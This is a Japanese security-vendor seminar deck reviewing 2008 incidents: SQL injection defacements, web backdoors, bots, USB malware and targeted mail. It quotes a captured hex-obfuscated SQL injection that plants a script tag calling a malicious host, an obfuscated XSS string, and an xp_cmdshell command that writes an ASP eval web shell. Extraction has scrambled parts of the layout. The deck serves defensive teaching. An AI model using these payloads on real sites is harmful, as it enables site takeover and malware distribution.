～大規模インシデントの裏で進行していること～

株式会社ラック
サイバーリスク総合研究所
sales@lac.co.jp
http://www.lac.co.jp/

株式会社ラックITを活用し企業のリスク管理を支援する、次代と経営を拓くセキュリティプランナー
1986年、株式会社ラックは設立されました。”Little eArth Corporation”という社名には、情報化社会の進展で地球が加速的に縮小してゆく中で、国や企業のIT基盤を支えていこうという理念がこめられています。
独立系セキュリティベンダーとして、日本国内での10年以上にわたる豊富な実績がお客様の信頼の証です。
セキュリティ事業に従事するエンジニア・営業数は国内最大級の規模を誇ります。
商 号

株式会社ラック
LAC：Little eArth Corporation Co., Ltd.

設 立

1986年(昭和61年)9月

資本金11億5,942万6,500円

株 主

ラックホールディングス株式会社(100%)代 表代表取締役社長 執行役員社長 齋藤 理

売上高7,154百万円(22期：2007年12月期)

本社 〒105-7111 東京都港区東新橋1-5-2
汐留シティセンター11F03-5537-2600(大代表)
03-5537-2610(営業統括本部)
セキュリティ監視センターJSOC〒105-0001 東京都港区虎ノ門4-1-17
神谷町プライムプレイス3F
名古屋オフィス
〒 460-0008 名古屋市中区栄3-15-27
名古屋プラザビル 9F

6,454百万円(21期：2006年12月期)

5,841百万円(20期：2005年12月期)
決算期

3月末日

従業員数

319名 ＇2008年10月現在（

認定資格

経済産業省情報セキュリティ監査企業登録
情報セキュリティマネジメントシステム(ISO/IEC 27001)認証取得(JSOC)
プライバシーマーク認定取得■ JSOC (Japan Security Operation Center)
JSOCは、ラックが運営する情報セキュリティに関するオペレーションセンターです。高度な分析システムや業界屈指の堅牢な設備を誇り、24時間365日運営され、高度な技術者を配置しています。ラックのセ
キュリティサービスの実績は、2000年の九州・沖縄サミットの運用・監視を皮切りに、日本の各分野でのトップ企業などを中心に、高レベルのセキュリティが要求されるお客様にその高品質なサービスを提供しています。

2スピーカにしもと

いつろう

西本 逸郎
昭和３３年
昭和５９年３月
昭和５９年４月
昭和６１年１０月

CISSP
福岡県北九州市生まれ
熊本大学工学部土木工学科中退
情報技術開発株式会社入社
株式会社ラック入社

通信系ソフトウェアやミドルウェアの開発に従事。１９９３年ドイツのシーメンスニックスドルフ社と提携し、オープンPOS＇ WindowsPOS（を世界に先駆け開発・実践投入。２０００年よりセキュリティ事業に身を転じ、日本最大級のセキュリティセンターＪＳＯＣの構築と立ち上げを行う。さらなるＩＴ利活用を図る上での新たな脅威への研究や対策に邁進中。
情報セキュリティ対策をテーマに官庁、大学、その他公益法人、企業、各種ＩＴイベント、セミナーなどでの講演、新聞・雑誌などへの寄稿等多数
経済産業省 電子商取引等に関する法的問題検討会 委員＇２００７年～（
IPA セキュリティ＆プログラミングキャンプ実行委員＇２００７年～（＇財（日本情報処理開発協会 リスク管理統制対応評価検討委員
ＲＳＡカンファレンスプログラム委員＇２００８年（

株式会社ラック 取締役 執行役員 サイバーリスク総合研究所長
特定非営利活動法人 日本ネットワークセキュリティ協会 理事、政策部会長＇現任（、セキュリティ評価WGリーダ/ST作成WGリーダ＇歴任（
特定非営利活動法人 日本セキュリティ監査協会 理事
データベースセキュリティコンソーシアム 理事、事務局長

連載・コラム
西本逸郎のセキュリティー表ウラ

熊本大学大学院自然科学研究科在籍

セキュリティー表ウラ検索

http://it.nikkei.co.jp/security/column/nishimoto_security.aspx

3緊急対応出動状況 ２００８
2008年実績
何がほしいのか？
CALL ６８件
世界的不況で○○が増加？
出動 ５２件SQLインジェクション
漏洩系 ９件 改ざん系 １２件
外部からの不正プログラム注入 ８件 内部犯行 ９件
ＭＡＸ
72時間

１１９
主
対応 治

状況把握：ヒアリングシート、被害内容

ＥＲ オペ
原因分析＇鳥瞰検査、分析（致命傷からの脱却 トリアージ、被害拡大防止、暫定再開、対策本部

１Ｗ
～
1ヶ月

復旧 オペ
機能再開

高優先度脆弱性対応、検知機構、弱点防御機能
クリーニングスパイラル開発・運用体制整備、緊急事態解除

警
戒運用

1ヶ月
～
1年

回復完全再開セキュリティ推進体制整備
セキュア開発、データベース、教育
自主運用

通常運
用

恒常

平常オペレーション

PDCA、PCIDSS適合、認証取得
セキュリティ委員会

医4

２００８年緊急対応
原因・手口

紛失

2%

他
13%

SQL
インジェクション

ウイルス
17%
パスワード
クラック

2%

被害内容

侵入 他
6% 6% 情報漏洩

41%

改ざん
27%

6% BOT
DDOS 15%

Exploit
4%

21%

DOS
15%

情報窃取
25%

誰がどこで、どうやって知った？
100%

出動実績＇２００８年通期（

90%
80%

計52件＇コール６８件（ 過去最高＇当社比（障害15%

内部33%

内部48%

70%

BOT

60%

2007年は43件＇通期（50%2006年は34件＇通期（

40%
30%

※BOT
コンピュータウイルスの一種
攻撃者がパソコンを乗っ取るための悪質プログラム。
乗っ取ったパソコンを(ロ)ボットのように意のままに制御する。

外部
67%

20%

内部35%

外部
52%外部50%

犯行場所

検知

10%
0%

5

犯人

２００８年緊急対応－ SQLインジェクション(４１%)の内訳
SQLインジェクションの内訳
１．改ざん

情報窃取
43%

改ざん
57%

① 閲覧者を悪質サイトへ誘導しBOTを仕込む② 改ざん方法は2種類ある(1)DBの文字型カラムに全て「誘導スクリプト」を追加し、DB情報を編集しているページが結果的に改ざん＇大多数（(2)尐数としてWebプログラムやHTMLに誘導スクリプトを追加③悪質サイトは、多重構造になっており、全体像を掴むのは困難④下期以降急速に増加

２．情報窃取① SQLインジェクションでダイレクトに抜いていくものは減尐傾向
② バックドア＇Webアプリ（を設置しバックドア経由でアクセス(1)POSTでのアクセスがほとんど(2)インジェクションで侵入するタイプと、保守アカウントの奪取の２通り③何をやったか分からないようにしている。
④Webアプリ経由で侵入しWebアプリが狙われる⑤下期以降、目だった行動は減尐

6２００8年緊急対応 － ウイルス・BOT被害(３２%)の内訳
ウイルス系での被害Antiny
41%

マルウェア

12%

BOT
BOT
47%

１．BOT
① 外部のホームページ閲覧② USBメモリ＇デジカメなど（③ 標的型メール④ 今後は偽ソフトによるものが増加？
⑤ 踏台と標的の２パターンある
２．Antinny
Winny 経由で、感染するウイルス内部で発生するというより、自宅など。
相変わらず、発生。
３．マルウェア
内部犯行のため、サーバやパソコンにマルウェアを仕掛けた
7

２００8年緊急対応 － 内部(３３%)の内訳
１．故意の犯行
過失
47%

故意
53%

① 他人の情報の盗み見② 社内DBの内容改ざん③ 業務妨害＇Antinyに見せかけた犯行（

２．過失
① 紛失
② Antiny
8

２００8年緊急対応 － 内部脅威＇４８%（の対象
Antinyに似せた暴露事件
Winnyを利用した策略
他 内部犯行他
28%
内部からの情報漏洩は、内部犯だけを見ても駄目なのか、、

BOT
32%
外部から単なる踏み台で操作・外部へDDoS・SPAMの踏み台
調査・情報窃取で操作
・内部ネットワーク
・内部サーバ・パスワード盗聴ソフトなど

外部から来た
来た紛失

4%

もともと
もともと 内部
内部

Antiny
28%

マルウェア

8%
内部の人間が故意に、内部の情報窃取やDB改ざんを目的に

9

最近の状況最近、発生していること。

１．サイトからの個人情報漏洩
２．サイトを改ざんし、サイト閲覧者のパソコンにウイルス＇ボット（を感染させる。
３．ＵＳＢメモリからのウイルス＇ボット（感染が増大
４．特定組織を狙った標的型メール
今後、偽ソフトを含め、一般化する危険性大

狙いは、何だろうか？
10情報漏洩＇窃取（ よく見かけるパターン
リモートからコントロール

インターネット
リモートからコントロール

ファイアウォール
バックドア
WebアプリWebサーバ
データコピー
バックドアの情報の窃取 インストール

守っているデータベースに侵入されるから、もちろんインジェクショ 何でもし放題。
ンが利くのは問題だが、 どうして気が付かな気が付かないのはかったのだろうか？
もっと問題だ！

SQLインジェクション

侵入
バックドア
データベース
ボット的

バックドア
ボット的11流行の改ざん攻撃

攻撃も、その後の侵入手口も、何をやっているのか実態がつかめないのか、、データベース＇ホームページ（改ざん攻撃

改ざんサイト悪のサイトへ悪質プログラムの置き場達

12
12

利用者

流行の改ざん攻撃

あちゃ、、、orz
無効な％は除去するの？？？？？
構文エラーとならない？
なんで？IIS/ASP

さらに巧妙化した攻撃 30.SEP.2008

さらに難読化
2008-09-29 23:27:15 61.152.246.157 - W3SVC1 <ホスト名> <IPアドレス> 80 GET
DEC%LARE%20@S%20VAR/対象のWebアプリケーション.asp - 200 <ドメイン名> a_id=4731;b_id=2'%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@S%3DCA%CHAR(4000)%3BS%ET%20
ST(0x4445434C415245204054207661726368617228323535292C404320766172636
IDS/IPS
検出・防御可否
検出・防御可否
861722832353529204445434C415245205461626C655F437572736F722043555253@S%3DCA%ST ・・・・
4F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2
JSOC追加機能
ベンダーオリジナル
07379736F626A6563747320612C737973636F6C756D6E732062207768657265206
製品A
×○・・・・e%xec%20(@S)
12E69643D622E696420616E6420612E78747970653D27752720616E642028622E7
DEC%%%%%LA%%RE とか製品B

×○8747970653D3939206F7220622E78747970653D3335206F7220622E78747970653
製品C○○
D323331206F7220622E78747970653D31363729204F50454E205461626C655F437
572736F72204645544348204E4558542046524F4D20205461626C655F437572736F
製品D
××7220494E544F2040542C4043205748494C4528404046455443485F5354415455533
D302920424547494E20657865632827757064617465205B272B40542B275D207365
74205B272B40432B275D3D727472696D28636F6E76657274287661726368617228
34303030292C5B272B40432B275D29292B27273C736372697074207372633D6874
74703A2F2F64726D79792E636E3E3C2F7363726970743E27272729464554434820
4E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C40
原則
4320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4341
ログなし
5445205461626C655F437572736F72%20AS%20VARCHAR(4000))%3Bexec%20(@S)%3B-- -

そうだよね！ GETやPOSTでなく、、
そう言えば、昔はGETが危険などと言われてたなぁ、、
13<sc%ript>al%ert(docu%ment.coo%kie)</scr%ipt>
XSSでも、、、
デフォルト
ログなし

でも渡せるんだ！

流行の改ざん攻撃

膨大なアプリケーション

改ざん攻撃のやっかいさ、、
Googleなどで標的確認リストアップ

侵入や情報窃取の場合は、一発の攻撃で成功することはまず無い。
膨大な調査が必要！

どこに穴があるか分からない

改ざんや破壊のほうが、簡単なんだ14

ちょっと変わった改ざん事件
二つのホームページ改ざんでも、これって良く聞く話だよね。

適当に検索し、一 無差別に攻撃しDB改ざん

般 ⇒結果ホームページ改ざん
的

何が標的型なの？

当たり外れあり気づかれ易い

DBに侵入後、フロントのWebのDISKをマウント。と
あ 小さなバックドア＇ASP（作成
る 小さなバックドア経由でケ 多機能バックドア作成
ー Aspファイルを改ざん

ス

狙い済ました攻撃
気づかれ難いホームページが検索サイトに登録される改ざんサイト
閲覧改ざんされ検索キーワードに引っかかる無効な誘導タグ

密かに別な悪質サイトに誘導

侵入ポイ
ントはここ

不正プログラムがインストールされるDB

Web

ネットからは直接アクセスできない15

ちょっと変わった改ざん事件
小さなバックドア

このバックドアをPOSTで呼び出し、多機能バックドアを作成する

以下のようなコマンドをインジェクションし、小さなバックドアを作成する。
exec master..xp_cmdshell „echo ^<%eval(request(“a”))%^> >c:¥inetpub¥wwwroot¥小さなバックドア.asp'<%eval(request(“a”))%^>
以下は上記の小さなバックドアと同じ、デフォルトのページに１行埋め込んだものを配置する。

IISデフォルトインストー
ル時のファイルかと思ったら、一行なんか入ってる。ログをみても怪しくないし、、、orz

16

バックドアって？
情報窃取・密かなサイト改ざん

多機能なバックドア

この多機能なバックドアを使用して、、
１．更なる侵入・調査
２．パスワード盗聴・ネットワーク盗聴プログラム
インストール
３．ASPファイル改ざん などなど
ASPバックドアを探してみよう！
findstr /I /S gb2312 *.asp?
17

サイト改ざんと潜入ボットがやったことボットで何をするかな？

誘導
改ざんされた
サイト

悪質サイト

お伺い

犯人一台が踏み台になり、内部を徹底的に調査されるんだな。また、どの組織か分かってやってるのだなぁ。

閲覧
自動インストール

命令

お伺い

FirewallFirewall

手動インストール

内部サーバ
改ざんサイトにアクセスしたPC

恐らく予備機調査

某会社

その後、これと同等のボットがいくつか見つかった！
某○○、某△△、某××
侵入経路にはＵＳＢもあった
18

原因は、①PCのOS、ブラウザ、ビューワなどに脆弱性があるから②Firewallで外向き通信の精査が不十分③内部のアカウントと権限管理が不十分

某民間企業にやってきた標的型メール
正直、全然怪しくない。 それらしい、書き方！

本当に実在するか、怖くて確認してない。

19

某民間企業にやってきた標的型メール
同じ
週にさらに一通続々やってくる。

次の週に、また関係者の誰かがＢＯＴに乗っ取られていると推測される。

ウイルス対策ソフト
は無反応！スパム
フィルタも通過！
うちはシンクライアン
トなので大丈夫！
あけちゃえ♪
20

USBメモリを経由するマルウェア(事例)出典: トレンドマイクロWebサイト
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=Mal_Otorun1&VSect=S&Period=1y(2008/12/10)
21

USBメモリを通じたマルウェア感染とはWindows Vistaの場合
Windows Vista が初期設定のままだと、USB メモリ内に Autorun.inf ファイル と実行ファイルが入っている場合は、いきなり実行ファイルが起動

Windows 2000/XPの場合
USB メモリ内に、Autorun.inf ファイルと実行ファイルが入っている場合でも、パソコンに挿した時点ですぐに実行ファイルが起動することはない。
しかし、マイコンピュータから、 USB メモリを認識したドライブをダブルクリック＇フォル
ダのオープン（すると、実行ファイルが起動

出典:IPA 「ウイルス・不正アクセス届出状況について＇2007年6月分および上半期（ 」
http://www.ipa.go.jp/security/txt/2007/07outline.html

22USBメモリを通じたマルウェア感染とは最近話題の、「Downadup」 狡猾な感染
Autorun.infにまつわる様々な課題

不正なサービスが起動

Downadupに感染すると強制的に変更されてしまう。

「ここで自動再生させないように変更する」

一応、自動再生機能は無効化されている。
感染方法
が、公式的なautorun.infの対策

但し、クリックすると感染してしまう。

＇１（MS08-067のぜい弱性への攻撃＇２（ネットワーク共有＇Admin$（へのブルートフォース＇３（USBメモリ経由

23

autorun.infを見つける事ができていない。

USBメモリを通じたマルウェア感染とは何故、USBメモリ経由で持ち込むのか？
１．便利
圧倒的な手軽さ、便利。格安！

しかも、安心できないセキュリティ機能
１．USBを無効にする端末セキュリティ

２．USBで提供されるセキュリティソフト

２．クローズネットワーク
３．セキュリティ対応USBメモリ
クライアントは対策してても、サーバ は？
パッチ、データ移行。サーバでのUSB使用は意外に多い。
システム構築、保守ベンダー
クローズなので、個々の対策は甘い。
３．情報漏洩対策
情報の持ち出しは駄目だが、持ち込みはノーチェック
４．デジカメ盲点。音楽プレイヤー。ICレコーダ。
５．Autorun・Autoplay神話
24

閑話休題
ファイル共有ソフトによる 暴露ウイルスは相変わらず。
2008年での重要インフラに関係するものだけでも非常に多い。

25

犯人目線で、、あるツール

26

2008年年末のＳＱＬインジェクションお祭り騒ぎ
JSOCで検知したSQLインジェクションの件数驚異的に増加するWebアプリケーションへの攻撃は、2008年12月には前月の100倍以上に急増
300,000

16,000,000
2005年1月～2008年11月

2008年1月～12月

14,000,000

2008年10月は266,257件
ボットによる攻撃
大量の攻撃にまぎれて他の攻撃も250,000

12,000,000

200,000

10,000,000
150,000

100,000

2004年、JSOC初のSQLインジェクションを検知するJSIGを追加

さらにツールが進化
水面下で売買検索エンジンの悪用

2008年12月は約1500万件
11月の100倍以上8,000,000

ツールによる攻撃が激化
JSOCから注意喚起を配信

6,000,000
4,000,000

SQLインジェクションによる改ざん・情報漏えい事件

50,0002,000,000
0

出典： 株式会社ラック JSOC調べ

27

2008
年
20 1月
08
年
20 3月
08
年
20 5月
08
年
20 7月
08
2 0 年908 月
年
11月

2005
年
20 105 月
年
20 405 月
20 年
05 7月
年
20 1006 月
年
20 106 月
年
20 406 月
20 年
06 7月
年
20 1007 月
年
20 107 月
20 年40 月
20 7年
07 7月
年
20 1008 月
20 年108 月
年
20 408 月
20 年
08 7月
年
10月

0

改ざんサイトを閲覧すると、、、、＇年末のお祭りもの（28改ざんサイトを閲覧すると、、、、＇年末のお祭りもの（gov.cn と edu.cn
は攻撃対象から除外

292008年年末のＳＱＬインジェクションお祭り騒ぎ
最初は韓国のボットが使用され、、日本も感染を増やした。
日本、韓国、中国を分けて改ざん埋め込み。
jp.js、kr.js、cn.js

単に、目先の金銭目当てなのか？
２００９年12月19日以降JSOC顧客のうち３％程度で内部への潜入と見られるインシデントを確認。⇒ 犯人サイドも確認出来ているはず。
並行して、Downadup.A → Bへ＇MS08-0678からUSB対応へ（企業は脅威として捉えていない。
一般PC

一般PCのネットワーク化

日本の潜入できた、、組織＇ボットの接続元ドメイン（リストが収集されていて全く不思議ではない。
組織の対策レベルが判明！
30

組織内潜入

キーワードあ ら標的になっているのは、パスワード周辺 の情報＝ アカウント情報
ユーザＩＤ、パスワード、メールアドレス
重要インフラでも同様と見たほうが良い31犯罪者の費用対効果
狙いたいのは山々だ
残念ながら、この法則は、重要インフラ関係でも同様。
が、ガードが固いところをわざわざ狙うことは銀行・証券無い。こちらも危険につまり、、、さらされる可能性が高くなるし、、

本丸＇対策の厳しいところ（を狙いたいのは山々
大手店舗⇒ 費用対効果が低い。
こっちのほうが、しかも＇犯人にとって（リスクも高いやりやすいぞ！
中小店舗

気がつきもしな
いし、安全だ！

いざとなったら、ノーガード戦
法で！

対策の甘い・出来ていないところ。自覚が無い。
⇒うちみたいな
費用対効果が高い！
小さなところ樽の原則＇低いなんて、、しかも＇しかも犯人にとって（リスクも低いところから水は永遠にビギ流れる（は、組
個人さらに、破壊はまだ情報窃取よりやりやすい
ナーでいい
個人
個人
織の中だけじゃじゃん！
個人
重要インフラでのないんだなぁ、
個人
個人
コンピュータ個人
個人
個人
は良く分からセキュリティ・サプライチェーンを考えてみよう！
ないし、、
中小店舗中小店舗
中小店舗32一言、言わせてください！
守れ！というセキュリティ
セキュリティの教科書＝漏らすな！

皆さんのイメージも、、事故前提時代のセキュリティ目線が全く異なる！

もらすなと言われても、なかなかやる気に、、彼の地アメリカでは、、＝止めるな！

ビジネス目線では、、、稼げ！止めるな！というセキュリティ
33

１００年に一度時代のセキュリティ
すご もトリアージ！限られた資源。限られた時間。
最大限の効果！

なるだけ外に出さず自分達でがんばろう！

セキュリティは特殊なものではない。時代を生き抜く知恵だ！

セキュリティ屋に騙されるな！
34

一言、言わせてください！

今、露呈している問題 ⇒ 今が原因ではない。

鍵は過去にあり！
バッファオーバーフロー
ＳＱＬインジェクション、ＸＳＳ
暴露ウイルス
効率性・利便性ＵＳＢメモリ
標的型メール
習慣・ブーム35

本日のキーワード これだけは記憶に
組織内のパソコンやサーバに潜入し、外部から操作。
内部情報を漁る、業務妨害を行なうなど。
従来のウイルス対策だけで潜入阻止はまず無理。
⇒ 炙り出す作戦。大掃除を！

最終的には人。「セキュリティは情報システム部門で、ユーザがセキュリティを意識しないように！」が組織の強度を下げコストを増やす元凶に。
⇒ ITリテラシとセキュリティ文化が組織力の源泉に
米百俵の精神！

36

株式会社ラック
http://www.lac.co.jp/
sales@lac.co.jp

プライムプレイス ３Ｆ

37